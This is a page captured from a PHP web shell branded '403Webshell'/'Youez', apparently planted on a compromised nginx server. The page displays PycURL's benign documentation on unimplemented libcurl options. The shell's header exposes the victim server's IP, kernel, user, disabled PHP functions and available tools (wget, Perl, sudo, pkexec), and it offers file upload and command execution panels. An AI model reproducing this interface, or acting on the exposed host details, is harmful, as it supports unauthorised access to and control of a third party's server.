403Webshell
Server IP : 112.74.42.100  /  Your IP : 216.73.216.142
Web Server : nginx/1.20.2
System : Linux iZwz96lx4pjqiy84w4hni7Z 5.10.134-17.3.al8.x86_64 #1 SMP Thu Oct 31 14:29:57 CST 2024 x86_64
User : www ( 1000)
PHP Version : 8.0.26
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/python3-pycurl/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/python3-pycurl/doc/unimplemented.rst
Unimplemented Options And Constants
===================================

PycURL intentionally does not expose some of the libcurl options and constants.
This document explains libcurl symbols that were omitted from PycURL.


``*DATA`` options
-----------------

In libcurl, the ``*aDATA`` options set *client data* for various callbacks.
Each callback has a corresponding ``*DATA`` option.

In Python - a language with closures - such options are unnecessary.
For example, the following code invokes an instance's ``write`` method
which has full access to its class instance::

    class Writer(object):
        def __init__(self):
            self.foo = True

        def write(chunk):
            # can use self.foo

    writer = Writer()
    curl = pycurl.Curl()
    curl.setopt(curl.WRITEFUNCTION, writer.write)

As of version 7.19.3, PycURL does implement three ``*DATA`` options for
convenience:
``WRITEDATA``, ``HEADERDATA`` and ``READDATA``. These are equivalent to
setting the respective callback option with either a ``write`` or ``read``
method, as appropriate::

    # equivalent pairs:
    curl.setopt(curl.WRITEDATA, writer)
    curl.setopt(curl.WRITEFUNCTION, writer.write)

    curl.setopt(curl.HEADERDATA, writer)
    curl.setopt(curl.HEADERFUNCTION, writer.write)

    curl.setopt(curl.READDATA, reader)
    curl.setopt(curl.READFUNCTION, reader.read)


``CURLINFO_TLS_SESSION``
------------------------

It is unclear how the SSL context should be exposed to Python code.
This option can be implemented if it finds a use case.



Undocumented symbols
--------------------

Some symbols are present in libcurl's `symbols in versions`_ document but
are not documented by libcurl. These symbols are not impemented by PycURL.

As of this writing, the following symbols are thusly omitted:

- ``CURLPAUSE_RECV_CONT``
- ``CURLPAUSE_SEND_CONT``

.. _symbols in versions: https://curl.haxx.se/libcurl/c/symbols-in-versions.html

Youez - 2016 - github.com/yon3zu
LinuXploit